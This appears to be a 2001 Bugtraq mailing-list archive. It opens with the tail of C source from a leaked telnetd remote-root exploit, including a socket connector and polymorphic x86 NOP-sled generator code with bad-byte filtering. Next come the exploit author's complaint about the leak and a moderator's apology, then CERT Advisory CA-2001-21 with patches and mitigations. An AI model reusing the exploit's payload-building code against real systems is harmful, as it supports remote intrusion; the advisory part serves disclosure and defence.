        return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec)
{
        int                     n,
                                len,
                                error,
                                flags;
        int                     fd;
        struct timeval          tv;
        fd_set                  rset, wset;
        struct sockaddr_in      csa;

        if (cs == NULL)
                cs = &csa;

        /* first allocate a socket */
        cs->sin_family = AF_INET;
        cs->sin_port = htons (port);
        fd = socket (cs->sin_family, SOCK_STREAM, 0);
        if (fd == -1)
                return (-1);

        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
                close (fd);
                return (-1);
        }

        flags = fcntl (fd, F_GETFL, 0);
        if (flags == -1) {
                close (fd);
                return (-1);
        }
        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1) {
                close (fd);
                return (-1);
        }

        error = 0;

        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
        if (n < 0) {
                if (errno != EINPROGRESS) {
                        close (fd);
                        return (-1);
                }
        }
        if (n == 0)
                goto done;

        FD_ZERO(&rset);
        FD_ZERO(&wset);
        FD_SET(fd, &rset);
        FD_SET(fd, &wset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        n = select(fd + 1, &rset, &wset, NULL, &tv);
        if (n == 0) {
                close(fd);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1)
                return (-1);

        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
                        len = sizeof(error);
                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
                                errno = ETIMEDOUT;
                                return (-1);
                        }
                        if (error == 0) {
                                goto done;
                        } else {
                                errno = error;
                                return (-1);
                        }
                }
        } else
                return (-1);

done:
        n = fcntl(fd, F_SETFL, flags);
        if (n == -1)
                return (-1);
        return (fd);
}


/* imported from shellkit */

unsigned long int
random_get (unsigned long int low, unsigned long int high)
{
        unsigned long int       val;

        if (low > high) {
                low ^= high;
                high ^= low;
                low ^= high;
        }

        val = (unsigned long int) random ();
        val %= (high - low);
        val += low;

        return (val);
}


void
random_init (void)
{
        srandom (time (NULL));
}


int
bad (unsigned char u)
{
        if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
                return (1);

        return (0);
}

int
badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
{
        int     n;

        for (code_len -= 1 ; code_len >= 0 ; --code_len) {
                for (n = 0 ; n < bad_len ; ++n)
                        if (code[code_len] == bad[n])
                                return (1);
        }

        return (0);
}

unsigned long int
x86_nop_rwreg (void)
{
        unsigned long int       reg;

        do {
                reg = random_get (0, 7);
        } while (reg == 4);     /* 4 = $esp */

        return (reg);
}



unsigned long int
x86_nop_xfer (char *xferstr)
{
        int                     bw = 0; /* bitfield walker */
        unsigned char           tgt;    /* resulting instruction */

        /* in a valid xferstr we trust */
        for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
                switch (xferstr[0]) {
                case ('0'):
                        BSET (tgt, 1, 0, bw);
                        break;
                case ('1'):
                        BSET (tgt, 1, 1, bw);
                        break;
                case ('r'):
                        BSET (tgt, 3, x86_nop_rwreg (), bw);
                        break;
                case ('.'):
                        break;  /* ignore */
                default:
                        fprintf (stderr, "on steroids, huh?\n");
                        exit (EXIT_FAILURE);
                        break;
                }
        }

        if (bw != 8) {
                fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
                exit (EXIT_FAILURE);
        }

        return (tgt);
}


unsigned int
x86_nop (unsigned char *dest, unsigned int dest_len,
        unsigned char *bad, int bad_len)
{
        int     walk;
        int     bcount; /* bad counter */
        char *  xs;
        char *  xferstr[] = {
                "0011.0111",    /* aaa */
                "0011.1111",    /* aas */
                "1001.1000",    /* cbw */
                "1001.1001",    /* cdq */
                "1111.1000",    /* clc */
                "1111.1100",    /* cld */
                "1111.0101",    /* cmc */
                "0010.0111",    /* daa */
                "0010.1111",    /* das */
                "0100.1r",      /* dec <reg> */
                "0100.0r",      /* inc <reg> */
                "1001.1111",    /* lahf */
                "1001.0000",    /* nop */
                "1111.1001",    /* stc */
                "1111.1101",    /* std */
                "1001.0r",      /* xchg al, <reg> */
                NULL,
        };
        unsigned char   tgt;


        for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
                /* avoid endless loops on excessive badlisting */
                for (bcount = 0 ; bcount < 16384 ; ++bcount) {
                        xs = xferstr[random_get (0, 15)];
                        tgt = x86_nop_xfer (xs);

                        dest[walk] = tgt;
                        if (badstr (&dest[walk], 1, bad, bad_len) == 0)
                                break;
                }

                /* should not happen */
                if (bcount >= 16384) {
                        fprintf (stderr, "too much blacklisting, giving up...\n");
                        exit (EXIT_FAILURE);
                }
        }

        return (walk);
}
/*                www.hack.co.za       [23 July 2001]*/
(6790059) /cami <camis@mweb.co.za>/-------(Ombruten)
6790810 2001-07-24 17:37 +0200  /45 rader/ Sebastian <scut@nb.in-berlin.de>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-24  20:40  av Brevbäraren
Extern mottagare: cami <camis@mweb.co.za>
Extern kopiemottagare: vulnwatch@vulnwatch.org
Extern kopiemottagare: vuln-dev@securityfocus.com
Extern kopiemottagare: PEN-TEST@securityfocus.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18298>
Kommentar till text 6790058 av cami <camis@mweb.co.za>
Ärende: Re: telnetd exploit code
------------------------------------------------------------

Hi.



I do not know who let this posting through, but I think something went
seriously wrong here.

Why do you hate system crackers ?
Because they do no respect property and privacy ?

What do the mailing list administrators do here, letting a
confidential source code with full copyright and confidentiality
header intact through a public mailing list. The Bugtraq mailing list
was especially noted as example even in the header, which should not
be allowed to disclose this.

Oh, and another odd thing, there is no X-Approved-By: this time in the
post, I wonder why. Do you know ?


Although a lot of Bugtraq readers might not agree with me here, I
think there is a right under which I can deny the disclosure of this
source code.  Call it privacy, call it copyright, I do not care about
its name.

I understand the moderators of this mailing lists can't sift through
thousands of lines of code backchecking and tracking down its origin
and whether it is allowed to be posted by their authors. But this is
different.  Every layman can see quickly that there is a working
copyright header, which explicitly states it should not be disclosed.


> ++C

I reserve legal steps against this violation of my rights.


ciao,
-scut

-- 
-. scut@nb.in-berlin.de -. + http://segfault.net/~scut/ `--------------------.
-' segfault.net/~scut/pgp `' 5453 AC95 1E02 FDA7 50D2 A42D 427E 6DEF 745A 8E07
`- AFIWC control and information seized. awaiting orders. hi echelon --------'
(6790810) /Sebastian <scut@nb.in-berlin.de>/(Ombruten)
Bilaga (application/pgp-signature) i text 6790811
Kommentar i text 6790851 av  <aleph1@securityfocus.com>
6790811 2001-07-24 17:37 +0200  /10 rader/ Sebastian <scut@nb.in-berlin.de>
Importerad: 2001-07-24  20:40  av Brevbäraren
Extern mottagare: cami <camis@mweb.co.za>
Extern kopiemottagare: vulnwatch@vulnwatch.org
Extern kopiemottagare: vuln-dev@securityfocus.com
Extern kopiemottagare: PEN-TEST@securityfocus.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18299>
Bilaga (text/plain) till text 6790810
Ärende: Bilaga till: Re: telnetd exploit code
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7XZZTQn5t73RajgcRAvuyAJ4o8lINPae5qbEkR3lOUvBSS7TtVACgy/AG
tM6dw2EJF+ZUKe4itD4OOak=
=ydOk
-----END PGP SIGNATURE-----
(6790811) /Sebastian <scut@nb.in-berlin.de>/--------
6790851 2001-07-24 12:23 -0600  /46 rader/  <aleph1@securityfocus.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-24  20:56  av Brevbäraren
Extern mottagare: Sebastian <scut@nb.in-berlin.de>
Extern kopiemottagare: cami <camis@mweb.co.za>
Extern kopiemottagare: vulnwatch@vulnwatch.org
Extern kopiemottagare: vuln-dev@securityfocus.com
Extern kopiemottagare: PEN-TEST@securityfocus.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18301>
Kommentar till text 6790810 av Sebastian <scut@nb.in-berlin.de>
Ärende: Re: telnetd exploit code
------------------------------------------------------------
From: aleph1@securityfocus.com
To: Sebastian <scut@nb.in-berlin.de>
Cc: cami <camis@mweb.co.za>, vulnwatch@vulnwatch.org,
 vuln-dev@securityfocus.com, PEN-TEST@securityfocus.com,
 bugtraq@securityfocus.com
Message-ID: <20010724122318.W21994@securityfocus.com>

* Sebastian (scut@nb.in-berlin.de) [010724 09:38]:
> I do not know who let this posting through, but I think something went
> seriously wrong here.
> 
> What do the mailing list administrators do here, letting a confidential
> source code with full copyright and confidentiality header intact through a
> public mailing list. The Bugtraq mailing list was especially noted as
> example even in the header, which should not be allowed to disclose this.
> 
> Although a lot of Bugtraq readers might not agree with me here, I think
> there is a right under which I can deny the disclosure of this source code.
> Call it privacy, call it copyright, I do not care about its name.

Sebastian is correct. It was an error to approve the message given he
clearly stated in the comments he did not wish it distributed. For
that I apologize.

That being said, it been quite obvious that for a while now that this
exploit is being shared in the underground and has been used actively
to break into systems. Better control of exploits one does not wish
to see distributed may be called for.

> Oh, and another odd thing, there is no X-Approved-By: this time in the
> post, I wonder why. Do you know ?

The X-Approved-By header was inserted by LISTSERV. We been using
ezmlm, which does not insert the header, for a while now.

> ciao,
> -scut


-- 
Elias Levy
SecurityFocus.com
http://www.securityfocus.com/
Si vis pacem, para bellum
(6790851) / <aleph1@securityfocus.com>/---(Ombruten)
Kommentar i text 6791504 av Aaron Silver <asilver@epoch.net>
6792109 2001-07-24 21:53 -0400  /212 rader/ CERT Advisory <cert-advisory@cert.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-25  06:42  av Brevbäraren
Extern mottagare: cert-advisory@cert.org
Mottagare: Bugtraq (import) <18325>
Ärende: CERT Advisory CA-2001-21
------------------------------------------------------------
From: CERT Advisory <cert-advisory@cert.org>
To: cert-advisory@cert.org
Message-ID: <CA-2001-21.1@cert.org>


-----BEGIN PGP SIGNED MESSAGE-----

CERT Advisory CA-2001-21 Buffer Overflow in telnetd

   Original release date: July 24, 2001
   Last revised: --
   Source: CERT/CC

   A complete revision history can be found at the end of this file.

Systems Affected

   Systems running versions of telnetd derived from BSD source.

Overview

   The telnetd program is a server for the Telnet remote virtual
   terminal protocol. There is a remotely exploitable buffer overflow
   in Telnet daemons derived from BSD source code. This vulnerability
   can crash the server, or be leveraged to gain root access.

I. Description

   There is a remotely exploitable buffer overflow in Telnet daemons
   derived from BSD source code. During the processing of the Telnet
   protocol options, the results of the "telrcv" function are stored
   in a fixed-size buffer. It is assumed that the results are smaller
   than the buffer and no bounds checking is performed.

   The vulnerability was discovered by TESO. An exploit for this
   vulnerability has been publicly released; internal testing at
   CERT/CC confirms this exploit works against at least one target
   system. For more information, see

          http://www.team-teso.net/advisories/teso-advisory-011.tar.gz

II. Impact

   An intruder can execute arbitrary code with the privileges of the
   telnetd process, typically root.

III. Solution

Apply a patch

   Appendix A contains information from vendors who have provided
   information for this advisory. We will update the appendix as we
   receive more information. If you do not see your vendor's name, the
   CERT/CC did not hear from that vendor. Please contact your vendor
   directly.

Restrict access to the Telnet service (typically port 23/tcp) using a
firewall or packet-filtering technology.

   Until a patch can be applied, you may wish to block access to the
   Telnet service from outside your network perimeter. This will
   limit your exposure to attacks. However, blocking port 23/tcp at a
   network perimeter would still allow attackers within the perimeter
   of your network to exploit the vulnerability. It is important to
   understand your network's configuration and service requirements
   before deciding what changes are appropriate.

Appendix A. - Vendor Information

   This appendix contains information provided by vendors for this
   advisory. When vendors report new information to the CERT/CC, we
   update this section and note the changes in our revision
   history. If a particular vendor is not listed below, we have not
   received their comments.

BSDI

   All current versions of BSD/OS are vulnerable. Patches are
   available via our web site at
   http://www.bsdi.com/services/support/patches and via ftp at
   ftp://ftp.bsdi.com/bsdi/support/patches as soon as testing has
   been completed.

Cisco Systems

   Cisco IOS does not appear to be vulnerable. Certain non-IOS
   products are supplied on other operating system platforms which
   themselves may be vulnerable as described elsewhere in this CERT
   Advisory. The Cisco PSIRT is continuing to investigate the
   vulnerability to be certain and, if necessary, will provide
   updates to the CERT and publish an advisory. Cisco Security
   Advisories are on-line at http://www.cisco.com/go/psirt/.

FreeBSD

   All released versions of FreeBSD are vulnerable to this problem,
   which was fixed in FreeBSD 4.3-STABLE and FreeBSD 3.5.1-STABLE on
   July 23, 2001. An advisory has been released, along with a patch
   to correct the vulnerability and a binary upgrade package suitable
   for use on FreeBSD 4.3-RELEASE systems. For more information, see
   the advisory at the following location:

ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:49.telnetd.asc

   or use an FTP mirror site from the following URL:

http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mirrors-ftp.html 

Hewlett-Packard

   [This issue is] actively under investigation to determine
   vulnerability ramifications.

Sun Microsystems

   Sun is currently investigating and have confirmed that one can
   make the in.telnetd daemon dump core but Sun has not yet
   determined if this issue is potentially exploitable on Solaris.

Appendix B. - References

    1. http://www.ietf.org/rfc/rfc0854.txt
    2. http://www.team-teso.net/advisories/teso-advisory-011.tar.gz
    3. http://www.kb.cert.org/vuls/id/745371
    4. ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:49.telnetd.asc
     _________________________________________________________________
     _________________________________________________________________

   The CERT Coordination Center thanks TESO, who published an advisory on
   this issue. We would also like to thank Jeff Polk for technical
   assistance.
     _________________________________________________________________

   Authors: Jason A. Rafail, Ian A. Finlay, and Shawn V. Hernan.
   ______________________________________________________________________

   This document is available from:
   http://www.cert.org/advisories/CA-2001-21.html
   ______________________________________________________________________

CERT/CC Contact Information

   Email: cert@cert.org
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.

   CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) /
   EDT(GMT-4) Monday through Friday; they are on call for emergencies
   during other hours, on U.S. holidays, and on weekends.

Using encryption

   We strongly urge you to encrypt sensitive information sent by
   email.  Our public PGP key is available from

   http://www.cert.org/CERT_PGP.key

   If you prefer to use DES, please call the CERT hotline for more
   information.

Getting security information

   CERT publications and other security information are available from
   our web site

   http://www.cert.org/

   To subscribe to the CERT mailing list for advisories and
   bulletins, send email to majordomo@cert.org. Please include in the
   body of your message

   subscribe cert-advisory

   * "CERT" and "CERT Coordination Center" are registered in the U.S.
   Patent and Trademark Office.
   ______________________________________________________________________

   NO WARRANTY
   Any material furnished by Carnegie Mellon University and the Software
   Engineering Institute is furnished on an "as is" basis. Carnegie
   Mellon University makes no warranties of any kind, either expressed or
   implied as to any matter including, but not limited to, warranty of
   fitness for a particular purpose or merchantability, exclusivity or
   results obtained from use of the material. Carnegie Mellon University
   does not make any warranty of any kind with respect to freedom from
   patent, trademark, or copyright infringement.
     _________________________________________________________________

   Conditions for use, disclaimers, and sponsorship information

   Copyright 2001 Carnegie Mellon University.

   Revision History
July 24, 2001:  Initial release

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

iQCVAwUBO14kUgYcfu8gsZJZAQHsZAP/V+d+lCvTxW2z4tCWoFTYri/cwuVtKJbg
7tP11jlPMQjYraTLpF2dEwFedikk31PRCBWsTHksfw7tV5ntsz58avZ+4K4NZeJj
bEBTegtRHTRgwDQMv6AApz8tNVpAVhk4TBxKYoQENK0t1nwwO/Cluywy7mPWDXZY
6Jb+p+9Ai78=
=Eu3D
-----END PGP SIGNATURE-----
(6792109) /CERT Advisory <cert-advisory@cert.org>/(Ombruten)